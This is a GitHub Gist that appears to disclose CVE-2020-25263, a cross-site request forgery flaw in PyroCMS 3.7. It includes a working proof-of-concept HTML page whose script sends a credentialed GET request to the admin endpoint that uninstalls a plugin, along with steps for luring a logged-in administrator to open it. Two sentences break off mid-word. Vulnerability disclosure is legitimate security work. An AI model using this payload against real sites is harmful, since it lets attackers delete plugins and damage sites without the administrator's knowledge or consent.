Instantly share code, notes, and snippets.

farid007 / CSRF in PyroCMS

Last active 2 years ago

☆ Star

<> Code -o- Revisions 2

CSRF in PyroCMS which leads to deletion of plugins (CVE-2020-25263)

<> CSRF in PyroCMS

```
Product-: PyroCMS

CVE: CVE-2020-25263

Version: (,3.7) 3.7 Tested

Vulnerability-: Deletion of plugin via Cross-Site Request Forgery(CSRF).

Download-: https://github.com/pyrocms/pyrocms

Vulnerability Description-: The PyroCMS is vulnerable to cross-site request forgery (CSRF). Due to action is performed via GET request. An


Steps To Reproduce-:

Create a page with below content.

<!DOCTYPE>
<html>
<head>
    <title></title>
    <script type="text/javascript">
    // to delete any plugin
              var url = "http://test.com/admin/addons/uninstall/anomaly.module.blocks"
        xhr = new XMLHttpRequest();
        xhr.open("GET",url);
        xhr.withCredentials = true;
        xhr.send(null);
    </script>
</head>
<body>
<--html content here --!>
</body>
</html>

* Send to the victim (who is authenticated in PyroCMS as administrator) and once the victim clicks on the page, the arbitrary plugin will b
```